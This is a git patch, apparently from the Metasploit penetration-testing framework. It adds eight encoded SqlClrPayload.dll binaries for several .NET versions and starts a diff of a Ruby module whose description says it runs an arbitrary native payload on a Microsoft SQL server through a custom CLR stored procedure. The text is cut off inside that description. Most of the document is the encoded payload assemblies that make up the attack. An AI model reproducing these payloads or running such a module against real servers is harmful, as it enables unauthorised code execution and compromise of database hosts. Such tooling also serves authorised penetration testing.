From 2d834a3f5af837bf40e435c25cdcacd02f4821a8 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 10 Feb 2017 12:56:40 +1000 Subject: [PATCH] Finalise module, and add supporting binaries --- data/SqlClrPayload/v2.0/SqlClrPayload.dll | Bin 0 -> 5120 bytes data/SqlClrPayload/v3.5/SqlClrPayload.dll | Bin 0 -> 5120 bytes data/SqlClrPayload/v4.0/SqlClrPayload.dll | Bin 0 -> 5120 bytes data/SqlClrPayload/v4.5.1/SqlClrPayload.dll | Bin 0 -> 5120 bytes data/SqlClrPayload/v4.5.2/SqlClrPayload.dll | Bin 0 -> 5120 bytes data/SqlClrPayload/v4.5/SqlClrPayload.dll | Bin 0 -> 5120 bytes data/SqlClrPayload/v4.6.1/SqlClrPayload.dll | Bin 0 -> 5120 bytes data/SqlClrPayload/v4.6/SqlClrPayload.dll | Bin 0 -> 5120 bytes .../windows/mssql/mssql_clr_payload.rb | 88 +++++++++++++----- 9 files changed, 63 insertions(+), 25 deletions(-) create mode 100755 data/SqlClrPayload/v2.0/SqlClrPayload.dll create mode 100755 data/SqlClrPayload/v3.5/SqlClrPayload.dll create mode 100755 data/SqlClrPayload/v4.0/SqlClrPayload.dll create mode 100755 data/SqlClrPayload/v4.5.1/SqlClrPayload.dll create mode 100755 data/SqlClrPayload/v4.5.2/SqlClrPayload.dll create mode 100755 data/SqlClrPayload/v4.5/SqlClrPayload.dll create mode 100755 data/SqlClrPayload/v4.6.1/SqlClrPayload.dll create mode 100755 data/SqlClrPayload/v4.6/SqlClrPayload.dll diff --git a/data/SqlClrPayload/v2.0/SqlClrPayload.dll b/data/SqlClrPayload/v2.0/SqlClrPayload.dll new file mode 100755 index 0000000000000000000000000000000000000000..6d9236cb3ea0961730d6ff209ccc4e4181e7072d GIT binary patch literal 5120 zcmeHLU1%KF6+SbwyIM<@kmT4|(Z(4gr(LVkuq(;>Nv%|?)yh>ZS!?Y|c1>D&cIHZ& zXm(~jGn;4=5Gt($p+D4th6GAzAQV#iP(x|cKvG)rP}&4Sp``R782VaTC=^Peb-#OO zSG)SDTl#2nNB5g^&pG$pbI<*mvs%3VZBmFRf_m>B(VKYlGA;1_unTe5qi=Q5kB_~7 z=1png{WHZ)%U3I&yW#0&)zBTs4b&1-y{e;Hjyk(kP|L2#w9d}rk?FKSDfCYot!3bLEW6@~jIQ+mAnFYpR5OL{Lc#7pkIN0jy?hw=vAOkzrz9lI;_Pp>wnUh=#oOXLDzZI zr6}YQMRs{CTFU^|G2CY%SE3<7?B^B5Y74=IMc1s_>pyOiQJwm=VxoZgDNUw7585q0#UQpHTjLq+^tjF|#6*uuRDYwmxYQSd3M(ZP!W?)#dD}_M!f{bZ;b5DYeg%t+1}85>{;d;o>k$hhlN?! zS+_Q-o|w&1;&MfIYKH}wu~{{O!-A|^sd?7M<`JTzr<<&-ds|2Js@ee-wkc@Lvg!m@ znQ8M*z&y87VBXV~fv9HP@~Y)qrPldgtXgK%KqDxt%=3?&`J835L&Ey71#AV+3Tj%O zd1cGz27GETo4n>|4Ou2!kptet+X_bWTHOaj#C)0A`nI6_rn%*C+Poh`CCi2{P3gY# zL9@0!U#_^=p^Z&PTg-EqJu+NB9onoO=(K1Vp6k2ofrkFv6Xt2*iyyeXv(>bMtpS~Y z<~+ANBX(l=*Zhd3(36Gu3zMj_lzH@mBAIhIT`{Zih=-n6OSX_=J+9;Ap^u-hH z6vI1_h<7IA3pStSlmCLS^+cuauvA9p%XMAb* zRZZIc+JPXp?oKRaxMh#nor7xQx*SyNJAR5MDtHFfY#>e&Z#`&@IEAO74e7{@3KL zWnB-ucu}{U@M337-1=PO-eV+ku%`CM)PocOp52N3b$9=)!mJu6=H>0kU;Y*5Dq`1y6TUwuq&)ZApSN)KEUE;n zI(e{TA+Kk!=^z7gxtPw1UPVZCaPbYtJAj^xR#<)%Nx@eMJ_XRSz~4B+(s7}aqQ)~y zCD45QF7$1TJd4qNGK8JVzHth46JuvlJ^UupsRqi$8`lo(#9M5v!Upo079Z2d^iq43 zkJ$@-KFdJpIY-5$9-wUgSY;7pDu`4=3&c)pH;*$Xqnah=7rzRB8L0>9*pF{ tI8KN@8N}L09LiWx8xc^koA$53!G4(bgIUz@e+H??AI#}}JgfUh;NOX){-^)| literal 0 HcmV?d00001 diff --git a/data/SqlClrPayload/v3.5/SqlClrPayload.dll b/data/SqlClrPayload/v3.5/SqlClrPayload.dll new file mode 100755 index 0000000000000000000000000000000000000000..34c80913397604d16b86a2666f984572f54bb509 GIT binary patch literal 5120 zcmeHLU2G#)6+Sa#JKkgyCE0fC2)dnBc8fP8BRk3Fr)d z#vbp?xQ$yWGJ;mBP!Zb)L?u*F34w}uU?l{lqD7!SRJ4^=NT|R=wTM>)5)u+Zg5|q+ z?AZBXK|HQ{C-<9k&pG$pbI<*m<1AhKIw?dHLcM#J=ykk#NeR3+)FJM98hW|x_-c`jua+E>Y2DqOXBwt+S)xTrp)YTK z>uPhfJ0zd(lDdeFgA)n3+7R9;XQBM| z98sPVDWW(J#KCesaN{8RzqVDPXq!?L?a#KgHJ|PHXpeUSAQN+K_>Gn*D$#Y#^;`oj z;ads>pJ)$iTS>ut&1JR&MIJJ`j>>KIqqdb4(QI2&ki9&vDBL%h!t|aB8^?$w&ip^h ziA02Q=!gD&avTnHcJ7`4M!se}8Giu8E+nB{co&L;igZOzc0d+?kc+tDae=!hL3Rl8 zWWOATdgRfeFRFYc>)gO2srW3Np=K_B(@NWV~I%kK9SmD%X_= z-BkF9-xv5}fxm(@LVs31M4SRIIr68MJ`PS;(0w!qzx!yJy15$F>882?4L+-&xftP_v`n;fZftJ7SS)`xRua(Q7ZzjCt zbFO1Bv+6RBN}l1kwpFBj>7_mWxj^!>6U}(t2ijX=$NAx%9>CdiH8Ivs%cmuVmA6 zS5_7ZSz5DPzpC45o8Mg-m+3w$Y~f{6c83{NpUqB;H%2DSz_4Uj^1kl+Y14Gcvz}qJ z5%ku5%PALX70!TXJ|Ew%1jf=n&Ug{lJTjj~cVj!xd$yTko<|iOA1x>dH(+eu)^RN~ zZ7i5n)IByao-G^rgqcmRf*EToY{SNo=tgPJW2K^9D_FkG_J-bL&oR$%tqNB?EX+9N z4QsRNirE|`E>-k$?XUndHminzSdeilHP_nQIzm)%b(58Jcl(H5RolnHwgk;tR?EIs zV%kF4XRcGpGxsUWKvXkMY0dJiV*7kARxPt-pc#}k=6XlYeBQFzAz@?KJhp;s`86%a z+>+&S10FS*EnaK1rYs$-$N}%+Z3Uyb?e2piV!py`eMeAU%iKyZZQc)}qGiLEmUQ3w zpgG%KC{-Nn(B`J2ZRVDlJvQ1n9on4k>$GGUuH!iyzJ~tX6Xt5ciyyeXv(>VKtpOdM z=3S>WD|TY=*-u=Vvch3G!N&Rg4d(MSxkG@FJpFH!#+Q9go7vxA(j>I}B6pIZ+ zW1SSiI~I%f#zG`XJ?JilR1h5GFraUSlhF{rpYRoVINSrpfvzZpKu2RRHW2Ah9uCK1 zxQryoV$ptyy7z~f!s2>+NTU9|Ew29ZHB}u=B=NOBC()U)v8mC?w3?@!2?i1%} zPpZG7N%gNB2x9y0#8L)Z_K4j%tTwO9VYRX2XLzE5XIRYyCvT?As=lk+!)mTt#4=uD zwSu$F$}`2uN&UQWej+(NHqH`L(+^4oxi`OURbUD0XNavULet3W_~M;v=FVaz_d_%P zYjM{zj*DHqq+8|SVrNX;`ds7gSrR!|OZy}0eu@Ck?nM4t-#@D$tHudA#OHeax5L#G z(e1Wm;ris;5=wv-VFWaUqP-Sb}cx;`!hnybHDw03un)v zO0cSv3p*C_dIp&nWy!68|Z+DC{gZ`tj&-Uz+jYt^eJp3nG>|*mB@!6>;?2W_7Q5;kUDh;r_k{ wBY7~6Q=(5AvGx#$5?0hk1XS#%{VQ;=AEteO7B%>vLE^Fdb9x`m>fRCfH#BMiZU6uP literal 0 HcmV?d00001 diff --git a/data/SqlClrPayload/v4.0/SqlClrPayload.dll b/data/SqlClrPayload/v4.0/SqlClrPayload.dll new file mode 100755 index 0000000000000000000000000000000000000000..8ec6ad1c9565f3a46ca81aed3b33a2578d29341c GIT binary patch literal 5120 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 literal 0 HcmV?d00001 diff --git a/data/SqlClrPayload/v4.6/SqlClrPayload.dll b/data/SqlClrPayload/v4.6/SqlClrPayload.dll new file mode 100755 index 0000000000000000000000000000000000000000..08ab10a7821af759c3695d105bda0c71cea05fcb GIT binary patch literal 5120 zcmeHLZ){sv75_ckaonWInzZYj!PXb01Fs}joTN!JS{BD~N}y@7*hx#bkv#j|ByV~4 zbKiSj;~_;66wo9D>n5Qh5ZWZZR6oW_mUaoYR81y7GgI z_1WG=pu1IT1rCxEu5y2Ig00Rv#tIx#bfD_DWJv#2*(8!LOAupUm#XsLPFw3r7K=%{ z7bGzT#AG1$mZhp2d)fc7uLF?=r3m|0X!gi=ALxv?*X{(d9p^O3J4P8aPDC5c^eG8xouj|0|1Ar!(|3f+4 zAI2=laePN0b{J@B**HQBf7^O0b}xwyN72Q`$N4U?A4T&WZ8N7sj=k=Q0jY55@cAgZ+bvQMr&N z*u?iZqGtnmf_r_MvFyqCu2o#|q{j8;>Ynw?XYe9vd2D*l&QDFSy~+N&oVjP*c5+gg zg{HI%^MNA_7x0gV2Ej#81$0J*pK{I$@Fe4Y)_Yi`yk4bT(z2!hik1id42Fs0T1*S0 zpgm5!s_-R+uPOY4!VeU-1*A?);Zh(O2*X$SRmJ(f!rujMk^i2;W5F%bk1AXXCIc;a zIru^_jN3su?;jQZRpEz}hS44BP}fWPDm|9JL--`=CPjB(g5Gyv25m}X6W8=*YE<=Q z&qI{Dv$_<27n|r|Om3^*H=@rY##8%a)w>pL37P5)Yq(C`0DeRa;s!Bq#6!u9e5tS+zE-@3LjROP&leEsc=f+V+y}SOu$gIrSP)C3UL_E z5>MkAF^2Cc{!5C!f!BkR_zB(#w&7=ZKX?wmLR085((eQ>k^g>h6$g~&ZxntSZy|{| z2Js596$Rp9MSlXnCEcU&GYT^bKZ`fXPbqp0omw1ULyY)1-X;GlIHoP(1=@@-0%x@+ zu@MB{)MdE?S`$3Bp-mZ=#_}X@fZEm?Q$wGkcJsbTEmclWJ7(DypF`%dowD6oqhdRT z88>Yk8Q*b*IqN!kVU}Itq2T2m*S2!VR6Ji4Fq3;qd!eo`;gbj~Eq{ z8#Fd)8+<0}Hl|GE3{MOXrHgrf(#*P7)fLC*%0=HQi1>nVJ&xrIgRJ4M2!E1B#TCb0 z+jgQBr1+dzw&^9ck@P%K$k~;w<=bLMvCf_lUf#7zQgy#Da3^u0WE3m= z1q_l|&infXDW_C%t(Da~h_bF>ih|L&n7WUtvhDLM?3mjVn5m*KT&I)~?$cJD8XvIE-7lE5Y_U&Rn>NGK<63?tJ}caU<;gwqP-pJ&c8u0#$?A^m z@t)q6IGfw(J{ciLws~kY59Qb>IpF(x%!u$ z54XmC>HYbw&YLaYLFAQZo>=G_di&WxI1&g)n-PjeyCTsRgxN-;kweiCG_9S(wUACi zLZFGzk(6X4BwsXsgC1yVr(#!Y1R>IqD2;W6n}ZKDMWcMaG|HlpDGm3>&!@B77qGW> zR?aX@7}k(&Ke8>Fu)LCORL=9NcFHmOwnV3Hr-ruOJBB9pwBDzobNjaFzrLaC1O15+ z;9(8N2M13Lj3fp}`bNxC`M#lkak9@?Hb?u+k%Smc42ym-U^08t(41h>!XHx+t(HMP zC_lK_z|jk?Q9ADw)9ZPmEUfr`FjR&2lqI&x8aL{}8`eWUz*8?Kc zCjNT$+9f_y6lLEv>|TAgoa2f3qNrq@HBmg18yPW9=1&eMMhAyP|EbY?wQS%}X3Z+m z5|2V&-2x5Ys^ysS5WFmDT~hl?Jr~_ASxh-Duf()r6{{Z>A=Fn#YHdA4TQW`ixcpxt zAoDsfSHtFRbJeVxXL283>dC(yE{*|jRufstB0WT0Kn9D%H0DT6F+)7h{uFVNv@Aal z{q3LC%tT!wa;oj4N?OfO8q6y0gwk4Ip61ey#k^k7W|8@hqvXd`UX!KNAeY~4wm$V7 z_NwJ(sGmkP`s7o~B7fx$mJTYNe$;-?0(yn(VG&zk`Y+JDlLQF?&ayszIFZv=uZNC&S*i}nW>GF(UZQ^;~{(hy-%lA zEN5xUp`T^O(QjDQ-PQ#RsTl4ayEl@1<9JGqNix 'Microsoft SQL Server Clr Stored Procedure Payload Execution', 'Description' => %q{ - This module executes an arbitrary native payload on a Microsoft SQL - server by loading a custom SQL CLR Assembly into the target SQL - installation, and calling it directly with a base64-encoded payload. + This module executes an arbitrary native payload on a Microsoft SQL + server by loading a custom SQL CLR Assembly into the target SQL + installation, and calling 